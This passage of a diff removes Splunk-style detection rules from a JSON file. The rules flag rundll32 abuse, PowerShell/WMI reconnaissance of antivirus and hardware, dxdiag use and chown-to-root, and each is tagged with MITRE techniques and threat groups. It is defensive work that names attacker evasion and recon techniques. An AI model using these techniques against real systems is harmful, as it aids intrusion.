latest(All_Traffic.dest_port) as dest_port FROM datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port != 0 by host All_Traffic.process_id | `drop_dm_object_name(All_Traffic)`] | `rundll32_with_no_command_line_arguments_with_network_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "PrintNightmare CVE-2021-34527", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A rundll32 process $process_name$ with no commandline argument like this process commandline $process$ in host $src$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "RunDLL Loading DLL By Ordinal", - "description": "The following analytic detects rundll32.exe loading a DLL export function by ordinal value. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line executions. This behavior is significant because adversaries may use rundll32.exe to execute malicious code while evading security tools that do not monitor this process. If confirmed malicious, this activity could allow attackers to execute arbitrary code, potentially leading to system compromise, privilege escalation, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where match(process,\"rundll32.+\\#\\d+\") | `rundll_loading_dll_by_ordinal_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land", - "Suspicious Rundll32 Activity", - "Unusual Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A rundll32 process $process_name$ with ordinal parameter like this process commandline $process$ on host $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious IcedID Rundll32 Cmdline", - "description": "The following analytic detects a suspicious `rundll32.exe` command line used to execute a DLL file, a technique associated with IcedID malware. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions containing the pattern `*/i:*`. This activity is significant as it indicates potential malware attempting to load an encrypted DLL payload, often named `license.dat`. If confirmed malicious, this could allow attackers to execute arbitrary code, leading to further system compromise and potential data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*/i:* by Processes.process_name Processes.process Processes.parent_process_name Processes.parent_process Processes.process_id Processes.parent_process_id Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_icedid_rundll32_cmdline_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "rundll32 process $process_name$ with commandline $process$ in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Rundll32 dllregisterserver", - "description": "The following analytic detects the execution of rundll32.exe with the DllRegisterServer command to load a DLL. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process details. This activity is significant as it may indicate an attempt to register a malicious DLL, which can be a method for code execution or persistence. If confirmed malicious, an attacker could gain unauthorized code execution, escalate privileges, or maintain persistence within the environment, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*dllregisterserver* by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_rundll32_dllregisterserver_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to register a DLL. code", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Rundll32 no Command Line Arguments", - "description": "The following analytic detects the execution of rundll32.exe without any command line arguments. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process execution logs. It is significant because rundll32.exe typically requires command line arguments to function properly, and its absence is often associated with malicious activities, such as those performed by Cobalt Strike. If confirmed malicious, this activity could indicate an attempt to execute arbitrary code, potentially leading to credential dumping, unauthorized file writes, or other malicious actions.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where `process_rundll32` by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(?i)(rundll32\\.exe.{0,4}$)\" | `suspicious_rundll32_no_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "PrintNightmare CVE-2021-34527", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious rundll32.exe process with no command line arguments executed on $dest$ by $user$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Rundll32 PluginInit", - "description": "The following analytic identifies the execution of the rundll32.exe process with the \"plugininit\" parameter. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events and command-line arguments. This activity is significant because the \"plugininit\" parameter is commonly associated with IcedID malware, which uses it to execute an initial DLL stager to download additional payloads. If confirmed malicious, this behavior could lead to further malware infections, data exfiltration, or complete system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*PluginInit* by Processes.process_name Processes.process Processes.parent_process_name Processes.original_file_name Processes.parent_process Processes.process_id Processes.parent_process_id Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_rundll32_plugininit_filter`", - "tags": { - "analytic_story": [ - "IcedID" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "rundll32 process $process_name$ with commandline $process$ in host $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Rundll32 StartW", - "description": "The following analytic identifies the execution of rundll32.exe with the DLL function names \"Start\" and \"StartW,\" commonly associated with Cobalt Strike payloads. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process metadata. This activity is significant as it often indicates the presence of malicious payloads, such as Cobalt Strike, which can lead to unauthorized code execution. If confirmed malicious, this activity could allow attackers to inject shellcode, escalate privileges, and maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*start* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_rundll32_startw_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "Suspicious Rundll32 Activity", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "rundll32.exe running with suspicious StartW parameters on $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Rundll32 Apply User Settings Changes", - "description": "The following analytic detects the execution of a suspicious rundll32 command line that updates user-specific system parameters, such as desktop backgrounds, display settings, and visual themes. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving \"user32.dll,UpdatePerUserSystemParameters.\" This activity is significant as it is uncommon for legitimate purposes and has been observed in Rhysida Ransomware for defense evasion. If confirmed malicious, this could allow an attacker to disguise activities or make unauthorized system changes, potentially leading to persistent unauthorized access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=rundll32.exe Processes.process= \"*user32.dll,UpdatePerUserSystemParameters*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_rundll32_apply_user_settings_changes_filter`", - "tags": { - "analytic_story": [ - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Process $process_name$ with cmdline $process$ in host $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -111596,357 +102975,6 @@ "platform": [ "PRE" ] - }, - { - "name": "Recon AVProduct Through Pwh or WMI", - "description": "The following analytic detects suspicious PowerShell script execution via EventCode 4104, specifically targeting checks for installed anti-virus products using WMI or PowerShell commands. This detection leverages PowerShell Script Block Logging to identify scripts containing keywords like \"SELECT,\" \"WMIC,\" \"AntiVirusProduct,\" or \"AntiSpywareProduct.\" This activity is significant as it is commonly used by malware and APT actors to map running security applications or services, potentially aiding in evasion techniques. If confirmed malicious, this could allow attackers to disable or bypass security measures, leading to further compromise of the endpoint.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*SELECT*\" OR ScriptBlockText = \"*WMIC*\") AND (ScriptBlockText = \"*AntiVirusProduct*\" OR ScriptBlockText = \"*AntiSpywareProduct*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `recon_avproduct_through_pwh_or_wmi_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Prestige Ransomware", - "Qakbot", - "Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Reconnaissance" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains AV recon command on host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1592", - "mitre_attack_technique": "Gather Victim Host Information", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Recon Using WMI Class", - "description": "The following analytic detects suspicious PowerShell activity via EventCode 4104, where WMI performs event queries to gather information on running processes or services. This detection leverages PowerShell Script Block Logging to identify specific WMI queries targeting system information classes like Win32_Bios and Win32_OperatingSystem. This activity is significant as it often indicates reconnaissance efforts by an adversary to profile the compromised machine. If confirmed malicious, the attacker could gain detailed system information, aiding in further exploitation or lateral movement within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText= \"*SELECT*\" OR ScriptBlockText= \"*Get-WmiObject*\") AND (ScriptBlockText= \"*Win32_Bios*\" OR ScriptBlockText= \"*Win32_OperatingSystem*\" OR ScriptBlockText= \"*Win32_Processor*\" OR ScriptBlockText= \"*Win32_ComputerSystem*\" OR ScriptBlockText= \"*Win32_PnPEntity*\" OR ScriptBlockText= \"*Win32_ShadowCopy*\" OR ScriptBlockText= \"*Win32_DiskDrive*\" OR ScriptBlockText= \"*Win32_PhysicalMemory*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `recon_using_wmi_class_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Data Destruction", - "Hermetic Wiper", - "Industroyer2", - "LockBit Ransomware", - "Malicious PowerShell", - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation", - "Reconnaissance" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains host recon commands detected on host $dest$", - "risk_score": 60, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1592", - "mitre_attack_technique": "Gather Victim Host Information", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "System Info Gathering Using Dxdiag Application", - "description": "The following analytic identifies the execution of the dxdiag.exe process with specific command-line arguments, which is used to gather system information. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events and command-line details. This activity is significant because dxdiag.exe is rarely used in corporate environments and its execution may indicate reconnaissance efforts by malicious actors. If confirmed malicious, this activity could allow attackers to collect detailed system information, aiding in further exploitation or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_dxdiag` AND Processes.process = \"* /t *\" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `system_info_gathering_using_dxdiag_application_filter`", - "tags": { - "analytic_story": [ - "Remcos" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Reconnaissance" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "dxdiag.exe process with commandline $process$ on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1592", - "mitre_attack_technique": "Gather Victim Host Information", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Gather Victim Host Information Camera", - "description": "The following analytic detects a PowerShell script that enumerates camera devices on the targeted host. This detection leverages PowerShell Script Block Logging, specifically looking for commands querying Win32_PnPEntity for camera-related information. This activity is significant as it is commonly observed in DCRat malware, which collects camera data to send to its command-and-control server. If confirmed malicious, this behavior could indicate an attempt to gather sensitive visual information from the host, potentially leading to privacy breaches or further exploitation.", - "search": "`powershell` EventCode=4104 ScriptBlockText= \"* Win32_PnPEntity *\" ScriptBlockText= \"*SELECT*\" ScriptBlockText= \"*WHERE*\" ScriptBlockText = \"*PNPClass*\" ScriptBlockText IN (\"*Image*\", \"*Camera*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_gather_victim_host_information_camera_filter`", - "tags": { - "analytic_story": [ - "DarkCrystal RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Reconnaissance" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A Powershell script to enumerate camera detected on host - $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1592.001", - "mitre_attack_technique": "Hardware", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1592", - "mitre_attack_technique": "Gather Victim Host Information", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "WMI Recon Running Process Or Services", - "description": "The following analytic identifies suspicious PowerShell script execution via EventCode 4104, where WMI performs an event query to list running processes or services. This detection leverages PowerShell Script Block Logging to capture and analyze script block text for specific WMI queries. This activity is significant as it is commonly used by malware and APT actors to map security applications or services on a compromised machine. If confirmed malicious, this could allow attackers to identify and potentially disable security defenses, facilitating further compromise and persistence within the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText= \"*SELECT*\" AND (ScriptBlockText=\"*Win32_Process*\" OR ScriptBlockText=\"*Win32_Service*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wmi_recon_running_process_or_services_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Reconnaissance" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious powerShell script execution by $user$ on $dest$ via EventCode 4104, where WMI is performing an event query looking for running processes or running services", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1592", - "mitre_attack_technique": "Gather Victim Host Information", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [], @@ -113495,63 +104523,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Linux Change File Owner To Root", - "description": "The following analytic detects the use of the 'chown' command to change a file owner to 'root' on a Linux system. It leverages Endpoint Detection and Response (EDR) telemetry, specifically monitoring command-line executions and process details. This activity is significant as it may indicate an attempt to escalate privileges by adversaries, malware, or red teamers. If confirmed malicious, this action could allow an attacker to gain root-level access, leading to full control over the compromised host and potential persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = chown OR Processes.process = \"*chown *\") AND Processes.process = \"* root *\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_change_file_owner_to_root_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may change ownership to root on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222.002", - "mitre_attack_technique": "Linux and Mac File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "Rocke", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -114348,579 +105319,6 @@ "references": [ "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" ] - }, - { - "name": "AWS Credential Access Failed Login", - "description": "The following analytic identifies unsuccessful login attempts to the AWS Management Console using a specific user identity. It leverages AWS CloudTrail logs to detect failed authentication events associated with the AWS ConsoleLogin action. This activity is significant for a SOC because repeated failed login attempts may indicate a brute force attack or unauthorized access attempts. If confirmed malicious, an attacker could potentially gain access to AWS account services and resources, leading to data breaches, resource manipulation, or further exploitation within the AWS 